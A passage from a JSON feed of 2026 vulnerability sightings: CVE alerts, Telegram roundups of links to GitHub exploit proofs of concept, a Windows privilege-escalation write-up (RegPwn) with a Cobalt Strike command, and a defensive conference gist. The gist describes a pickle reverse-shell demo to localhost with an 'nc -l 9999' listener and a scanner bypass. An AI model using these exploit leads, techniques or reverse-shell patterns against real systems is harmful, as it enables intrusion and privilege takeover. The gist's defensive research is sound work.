BeyondTrust Remote Support / Privileged Remote Access allows remote attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote-access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to bypass authentication, steal session tokens, and perform SSRF attacks.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 Remote code execution scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nAn RCE vulnerability in Next.js Server Actions caused by insecure deserialization and prototype pollution through the proto property in the RSC Flight protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:07.991041Z"}, {"uuid": "7c32442d-7be5-4fea-b70d-edd4e4e246ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mqoy34jb3z2g", "content": "Critical Chrome 0-day (CVE-2026-2441) exploited; update to latest version now. #Chrome #ZeroDay #CyberSecurity #BlinkEngine #CVE20262441 #BrowserSecurity thedailytechfeed.com/critical-chr...", "creation_timestamp": "2026-07-15T14:55:08.714515Z"}, {"uuid": "d9bd69fc-28d8-46e9-92a3-e658f29e6a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24884", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqphtgxdqh2k", "content": "\ud83d\udccc CVE-2026-40931 - Compressing is a compressing and uncompressing lib for node. Prior to 2.1.1 and 1.10.5, the patch for CVE-2026-24884 relies on a purely logical string... https://www.cyberhub.blog/cves/CVE-2026-40931", "creation_timestamp": "2026-07-15T19:37:07.292126Z"}, {"uuid": "e55b53d3-532e-4ee7-9546-e88f3dc899c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24081", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260716", "content": "", "creation_timestamp": "2026-07-16T04:45:58.143630Z"}, {"uuid": "9990f6b6-3645-4364-9216-33f19b6de471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24087", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260716", "content": "", "creation_timestamp": "2026-07-16T04:46:00.321986Z"}, {"uuid": "9bc97306-8c14-454b-b544-dbf2a7f281b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17069", "content": "\ud83d\udd25 Windows LPE Exploit \u2014 RegPwn (CVE-2026-24291)\n\u2694\ufe0f Registry Symlink Privilege Escalation via Accessibility Mechanism\n\n\ud83d\udccc Research / Blog\n\ud83d\udc49https://www.mdsec.co.uk/2026/03/rip-regpwn/\n\n\ud83d\udccc GitHub (Exploit)\n\ud83d\udc49https://github.com/mdsecactivebreach/RegPwn\n\n\ud83d\udccc GitHub (BOF / Cobalt Strike)\n\ud83d\udc49https://github.com/Flangvik/RegPwnBOF\n\n\ud83d\udcd6 Description\nRegPwn is a Local Privilege Escalation (LPE) vulnerability in Windows\naffecting Windows 10, Windows 11, and multiple Windows Server versions.\n\nIt was discovered and used internally by MDSec during Red Team operations\nsince early 2025, and later patched in March 2026.\n\nTracked as:\n\ud83d\udc49 CVE-2026-24291\n\n\u2699\ufe0f Vulnerability Overview\nThe issue exists in the Windows Accessibility (ATBroker / ATConfig) mechanism.\nMisconfigured registry permissions\nUser-controlled registry data copied into privileged context\nWritable HKLM registry path exposed to low-priv users\n\ud83d\udc49 Leads to arbitrary registry write as SYSTEM\nAccording to CVE:\nIncorrect permission assignment allows local privilege escalation\n\n\ud83e\udde0 Exploitation Concept\nRegistry Flow Abuse\nHKCU (User Controlled)\n        \u2193\nHKLM Session Key (Writable)\n        \u2193\nHKU\\.DEFAULT (SYSTEM Context)\n        \u2193\nSYSTEM Process Execution\n\nCore Technique\n\u2022 Registry Symlink Abuse\n\u2022 Race Condition (Oplock)\n\u2022 Accessibility Feature Trigger (osk.exe)\n\ud83d\udc49 Result:\nLow Priv User \u2192 SYSTEM Privilege\n\n\u2694\ufe0f Exploit Details\nThe exploit abuses:\n\u2022 Accessibility configuration registry keys\n\u2022 Secure Desktop behavior\n\u2022 ATbroker.exe interaction\n\u2022 osk.exe execution timing\n\ud83d\udc49 By combining:\n\u2022 Opportunistic Lock (Oplock)\n\u2022 Registry Symbolic Link\nAn attacker can redirect writes to arbitrary SYSTEM registry locations\n\n\ud83d\udca3 Practical Impact\n\u2022 Local Privilege Escalation (LPE)\n\u2022 Full SYSTEM access\n\u2022 Service ImagePath hijacking\n\u2022 Payload execution as SYSTEM\n\n\ud83e\uddec GitHub \u2014 Exploit Implementation\n\u2699\ufe0f RegPwn (Original Exploit)\n\u2022 Language: C#\n\u2022 Targets:\n   \u2022 Windows 10 / 11\n   \u2022 Windows Server 2016 / 2019 / 2022\n   \u2022 Based on blog research\n\ud83d\udc49 Direct PoC for LPE\n\n\u2694\ufe0f RegPwnBOF (Cobalt Strike BOF)\n\u2022 BOF implementation of exploit\n\u2022 Designed for post-exploitation use\n\u2022 Supports:\nbeacon> regpwn payload.exe\n\ud83d\udc49 Enables SYSTEM escalation inside C2 operations\n\n\ud83e\udde0 Red Team Insight\nReal-World Usage Flow\nInitial Access\n     \u2193\nBeacon / Agent\n     \u2193\nRegPwn Execution\n     \u2193\nSYSTEM Privilege\n     \u2193\nLateral Movement / Persistence\n\nWhy This Matters\n\u2714\ufe0f Works on multiple Windows versions\n\u2714\ufe0f Reliable LPE vector\n\u2714\ufe0f BOF integration available\n\u2714\ufe0f Useful for post-exploitation chains\n\n\ud83d\ude80 Key Takeaways\n\u2022 Accessibility features can expose privileged pathways\n\u2022 Registry permission misconfig = critical attack surface\n\u2022 Race conditions + symlink = powerful LPE combo\n\u2022 Direct integration into C2 frameworks\n\n\u26a0\ufe0f Patch Status\n\u2714\ufe0f Fixed in March 2026 Patch Tuesday\n\u2714\ufe0f Affects pre-patch Windows environments\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:08.635506Z"}, {"uuid": "395cb03b-dba8-4373-9049-630c918c57c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17080", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Fresh Collection)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories, collected and verified from GitHub.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory (OOM) crash by abusing uncontrolled memory allocation.\nThe flaw occurs due to trusting attacker-controlled message size values, enabling allocation of extremely large memory blocks.\n\n\u2699\ufe0f Impact\n\u2022 Remote Denial of Service\n\u2022 C2 infrastructure disruption\n\u2022 Potential full operation shutdown\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/fartlover37/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink CSS engine allows attackers to execute arbitrary code within the browser sandbox.\nThe PoC triggers memory corruption through CSS manipulation and layout recalculation.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Active exploitation confirmed\n\u2022 Potential exploit chain to full system compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA newly published PoC demonstrates exploitation of a web-based vulnerability (details vary depending on deployment).\nThe repository includes exploit logic useful for testing input validation and server-side handling weaknesses.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Potential RCE / data exposure\n\u2022 Useful for exploitation research\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept demonstrating exploitation of a recently disclosed vulnerability affecting application-level logic.\nThe PoC provides a working example of triggering abnormal behavior through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System / Application Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC targeting CVE-2026-32746, demonstrating potential exploitation paths and abnormal system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Potential privilege abuse\n\u2022 System instability\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoCs are useful for:\n\u2022 Real-world exploit analysis\n\u2022 Red team / blue team exercises\n\u2022 Patch validation testing\n\u2022 Vulnerability research workflows\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:09.205860Z"}, {"uuid": "9b290394-6935-4c87-8dbe-f5fb843acfd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17085", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:09.619965Z"}, {"uuid": "a00fc2db-e21e-4904-861b-40dbaaced936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24660", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mttkyvtuwo2f", "content": "CVE-2026-24660 - rootio-libraw\nA security patch has been released for the rootio-libraw package on Debian 13 systems. If left unpatched, an attacker could access sensitive data on affected systems.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rootiolibraw #RootDebian13 #CVE #infosec", "creation_timestamp": "2026-08-24T15:00:04.982519Z"}, {"uuid": "0117086d-e551-4107-b976-0d1b527d136e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24450", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mttlkqpzlu2p", "content": "CVE-2026-24450 - rootio-libraw\nA security patch has been released for the rootio-libraw library, which is used to read and write image files. This patch fixes a vulnerability that could allow an\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rootiolibraw #RootDebian13 #CVE #infosec", "creation_timestamp": "2026-08-24T15:10:03.708369Z"}, {"uuid": "64b7ddf1-503c-48d9-acb6-5a308664fc17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24747", "type": "seen", "source": "https://gist.github.com/rahulXs/33981c9d91701115bb44ac406396c782", "content": "# The AI Odyssey: When Your Model Is the Trojan Horse\n\n### All resources from my talk at **OOSC 4.0 | IIIT Allahabad | Aug 28\u201330, 2026**\n\n**Rahul Sharma** | Senior Software Engineer, Red Hat | [@rahulXs](https://github.com/rahulXs)\n\n---\n\n## Contents\n\n1. [Quick Start - Sign Your First Model](#-quick-start--sign-your-first-model)\n2. [Demo Code (in this gist)](#-demo-code-in-this-gist)\n3. [Safety Checklist](#-safety-checklist)\n4. [Open Source Projects (contribute!)](#-open-source-projects-contribute)\n5. [CVEs & Security Advisories](#-cves--security-advisories)\n6. [Research Papers](#-research-papers)\n7. [Articles & Deep Dives](#-articles--deep-dives)\n8. [Incident Timeline](#-incident-timeline)\n9. [About Me](#-about-me)\n\n---\n\n## Quick Start - Sign Your First Model\n\nThree commands. No key management. No GPG. No certificate rotation.\n\n```bash\npip install model-signing\n\nmodel_signing sign ./my-model/\n\nmodel_signing verify ./my-model/ \\\n  --signature model.sig \\\n  --identity \"your-email@example.com\" \\\n  --identity_provider \"https://accounts.google.com\"\n```\n\n- Signing authenticates via OIDC in your browser (Google/GitHub login).\n- The signature is a detached Sigstore bundle (`model.sig`) wrapping an in-toto attestation of SHA-256 hashes.\n- Verification works offline once you have the bundle.\n\n---\n\n## Demo Code (in this gist)\n\nThe exact files from Demo 1; everything runs on **localhost only**, nothing leaves your machine:\n\n| File | What it does |\n|---|---|\n| [`create_demo_model.py`](./create_demo_model.py) | Creates a small legitimate PyTorch model (the contrast) |\n| [`create_malicious_model.py`](./create_malicious_model.py) | Creates a `.pt` file with a reverse shell in `__reduce__` (**DEMO ONLY**, connects to `127.0.0.1:9999`) |\n| [`load_model.py`](./load_model.py) | Loads the model with `weights_only=False` - what legacy tutorials still teach |\n\nRun it yourself (in a VM/container if you want to be extra safe):\n\n```bash\nmkdir -p models && cd oosc-demo\npython create_demo_model.py\npython create_malicious_model.py\n\n# Terminal A (attacker):   nc -l 9999\n# Terminal B (victim):     python load_model.py\n```\n\n> **How it works:** `torch.save()` uses pickle internally. During `torch.load()`, pickle calls `__reduce__()` to reconstruct objects, whatever it returns gets executed. Here that's `os.system(reverse_shell)`, backgrounded so the load \"succeeds\" silently. Not a bug - documented Python behavior. Python docs literally say *\"Never unpickle data from an untrusted source.\"*\n\n---\n\n## Safety Checklist\n\n**Do:**\n\n- Use **SafeTensors** for all new models \u2014 no pickle, no code execution on load\n- Use `torch.load(..., weights_only=True)` at minimum (default since PyTorch 2.6)\n- **Sign** models before sharing (`pip install model-signing`)\n- **Verify** signatures before loading any model\n- Pin models by **commit hash**, not branch name\n\n**Don't:**\n\n- Never disable safety flags (`weights_only=False`) on untrusted files\n- Never set `trust_remote_code=True` without reading the code first\n- Never load pickle models outside a sandbox/VM if you can avoid it\n- Never assume a scanner passing = file is safe (see ShadowPickle below)\n\n---\n\n## Open Source Projects (contribute!)\n\nAll are beginner-friendly and accepting contributions:\n\n| Project | Link | Why it matters |\n|---|---|---|\n| **Model Signing (OMS)** | https://github.com/sigstore/model-transparency | Sign/verify model artifacts. Implements the OpenSSF Model Signing spec. `pip install model-signing` |\n| **OMS Specification** | https://github.com/ossf/model-signing-spec | The formal spec (June 2025), backed by Google, NVIDIA, HiddenLayer, Red Hat |\n| **SafeTensors** | https://github.com/huggingface/safetensors | Safe serialization format tensors + JSON only, zero-copy. Joined PyTorch Foundation, Mar 2026 |\n| **Fickling** | https://github.com/trailofbits/fickling | Pickle decompiler & safety analyzer by Trail of Bits. Inspect suspicious pickles without executing them |\n| **Sigstore** | https://www.sigstore.dev/ | Keyless signing infra (\"Let's Encrypt for code signing\") Fulcio CA + Rekor transparency log |\n\n---\n\n## CVEs & Security Advisories\n\n| ID | What happened | Reference |\n|---|---|---|\n| **CVE-2026-24747** | `weights_only=True` bypassed via heap corruption (type confusion in C++ restricted unpickler, `SETITEM` opcode). CVSS 8.8. Fixed in PyTorch 2.10.0 | [GHSA-63CW-57P8-FM3P](https://github.com/advisories/GHSA-63CW-57P8-FM3P) \u00b7 [RAXE-2026-019](https://raxe.ai/labs/advisories/RAXE-2026-019) |\n| **CVE-2026-3490** | PickleScan blocklist universally bypassed via `pkgutil.resolve_name(\"os:system\")` indirection; 11+ RCE chains all reported CLEAN | [GHSA-VVPJ-8CMC-GX39](https://github.com/advisories/ghsa-vvpj-8cmc-gx39) \u00b7 [RAXE-2026-015](https://raxe.ai/labs/advisories/RAXE-2026-015) |\n| **CVE-2025-1716, -1889, -1944, -1945** | Four PickleScan zero-days | See timeline below |\n\n**Key takeaway:** both the framework defense *and* the principal scanner were broken in 2026. You cannot blocklist your way out of a Turing-complete format. Defense = safer format + cryptographic verification.\n\n---\n\n## Research Papers\n\n- **ShadowPickle: Evading ML Model Scanners via Stealthy Pickle Attacks** *(arXiv, Jul 2026)* three novel attacks exploiting pickle's module import mechanism; best variant evades **63% of scanners** including Hugging Face's. Introduces PickleBench.\n  https://arxiv.org/html/2607.17503\n- **Exploiting Python pickling** David Hamann's classic walkthrough of `__reduce__` RCE (the technique behind our Demo 1).\n  https://davidhamann.de/2020/04/05/exploiting-python-pickle/\n- **DEF CON 33: Loading Models, Launching Shells** Cyrus Parzian, 2025.\n  https://media.defcon.org/DEF%20CON%2033/DEF%20CON%2033%20presentations/\n\n## Articles & Deep Dives\n\n**Model signing / Sigstore:**\n- An Introduction to the OpenSSF Model Signing (OMS) Specification - OpenSSF blog, Jun 2025\n  https://openssf.org/blog/2025/06/25/an-introduction-to-the-openssf-model-signing-oms-specification/\n- Case Study: Google Secures ML Models with Sigstore - OpenSSF, Jul 2025\n  https://openssf.org/blog/2025/07/23/case-study-google-secures-machine-learning-models-with-sigstore/\n- Model authenticity and transparency with Sigstore - Red Hat, Apr 2025\n  https://next.redhat.com/2025/04/10/model-authenticity-and-transparency-with-sigstore/\n- Taming the Wild West of ML: Practical Model Signing with Sigstore \u2014 Sigstore blog\n  https://blog.sigstore.dev/model-transparency-v1.0/\n- model-signing on PyPI\n  https://pypi.org/project/model-signing/\n\n**SafeTensors:**\n- SafeTensors joins the PyTorch Foundation - Hugging Face blog, Mar 2026\n  https://huggingface.co/blog/safetensors-joins-pytorch-foundation\n- PyTorch Foundation announcement - PR Newswire, Apr 2026\n  https://www.prnewswire.com/news-releases/pytorch-foundation-announces-safetensors-as-newest-contributed-project-to-secure-ai-model-execution-302736068.html\n- SafeTensors - official PyTorch ecosystem page\n  https://pytorch.org/projects/safetensors/\n\n**Malicious models on Hugging Face:**\n- ReversingLabs identifies malware ML model on Hugging Face (*nullifAI*) - Feb 2025\n  https://www.reversinglabs.com/blog/rl-identifies-malware-ml-model-hosted-on-hugging-face\n- The Poisoned Model Registry: Hugging Face as Malware Distribution Channel - Lyrie Research, 2026\n  https://lyrie.ai/research/research/huggingface-model-supply-chain-nullifai-pickle-rce\n- Malicious AI Model Repositories Attack Surface - Cloud Security Alliance\n  https://labs.cloudsecurityalliance.org/research/csa-research-note-malicious-ai-model-repositories-attack-sur/\n- Poisoned AI: How Hugging Face Became a Malware Distribution Platform - Hive Security, 2026\n  https://hivesecurity.gitlab.io/blog/huggingface-ai-supply-chain-attacks-2026/\n\n\n---\n\n## About Me\n\nSenior Software Engineer at Red Hat. Builds Python and Go systems for RHEL and OpenShift; works on rule-driven diagnostics engines, multi-agent workflows, and more recently harness engineering.\n\n- GitHub: https://github.com/rahulXs\n- Slides PDF: Upcoming\n\nQuestions about the talk? Leave a comment on this gist, I'll try to answer.\n", "creation_timestamp": "2026-08-24T15:42:13.465292Z"}, {"uuid": "3e936f0c-6be6-4c22-9fab-ea9a893222b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24170", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/gwzs3e5q6ay33", "content": "CVE-2026-24170 - NVIDIA UFM Enterprise Improper Authorization Vulnerability\nCVE ID : CVE-2026-24170\n \n Published : Aug. 25, 2026, 4:17 p.m. | 17\u00a0minutes ago\n \n Description : NVIDIA UFM Enterprise contains a vulnerability in the web interface authorization component, where an a...", "creation_timestamp": "2026-08-25T16:58:46.612580Z"}, {"uuid": "8a9ec456-7b62-4387-9cf7-44a5a554b8f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24169", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/6cmqxzd5stpfp", "content": "CVE-2026-24169 - NVIDIA UFM Enterprise Plugin Management API Remote Code Execution Vulnerability\nCVE ID : CVE-2026-24169\n \n Published : Aug. 25, 2026, 4:17 p.m. | 17\u00a0minutes ago\n \n Description : NVIDIA UFM Enterprise contains a vulnerability in the plugin management API, where...", "creation_timestamp": "2026-08-25T17:00:46.938165Z"}, {"uuid": "56c60d86-6c88-4334-9953-9f088750048f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17189", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real GitHub PoC repositories (strictly validated).\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-1668\n\ud83c\udfaf Firmware Exploit \u2013 Memory Corruption \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/tangrs/cve-2026-1668-poc\n\n\ud83e\udde0 Overview\nA firmware-level vulnerability enabling memory corruption and potential remote code execution. Active PoC confirms exploit feasibility.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Firmware compromise\n\u2022 Embedded system takeover\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/huseyinstif/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine enables arbitrary code execution inside the renderer via crafted HTML.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Browser exploitation vector\n\u2022 Potential sandbox escape chaining\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-25526\n\ud83c\udfaf Jinjava Template Engine \u2013 SSTI \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/av4nth1ka/jinjava-cve-2026-25526-poc\n\n\ud83e\udde0 Overview\nA Server-Side Template Injection vulnerability allowing attackers to execute arbitrary code via crafted template payloads.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Backend compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-26030\n\ud83c\udfaf Microsoft Semantic Kernel \u2013 RCE via Vector Store\n\n\ud83d\udd17 PoC 